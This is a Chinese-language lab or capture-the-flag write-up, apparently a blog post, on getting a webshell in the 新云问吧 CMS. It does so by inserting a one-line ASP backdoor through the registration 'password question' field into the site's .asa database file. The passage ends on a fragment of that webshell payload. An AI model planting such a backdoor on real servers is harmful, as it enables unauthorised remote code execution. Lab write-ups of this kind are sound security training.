题目
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/22880314937549d9c39f8d57c794ba54.png)
背景介绍
某公司内部搭建了一个类似百度知道的互动知识问答分享平台–新云问吧CMS。
为了确保该网站的安全性,故请你检测该网站是否存在安全漏洞。
实训目标
了解并运用新云问吧CMS的通用漏洞–问吧采用自己的数据库,数据库文件为.asa格式,由于过滤不严,导致可以向数据库中插入一句话木马,从而拿到webshell。
解题方向
根据右图提示,在用户注册或修改用户资料的“密码问题”处测试。
解题步骤
启动靶机,访问链接。
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/1cd518fdf33c7f9a0f025fd32a831e6b.png)
按照题目提示,应该是在注册页面的“密码问题”那里插入一句话木马到数据库。
但是我们的一句话要进行编码才能用。
<%execute(request("a"))</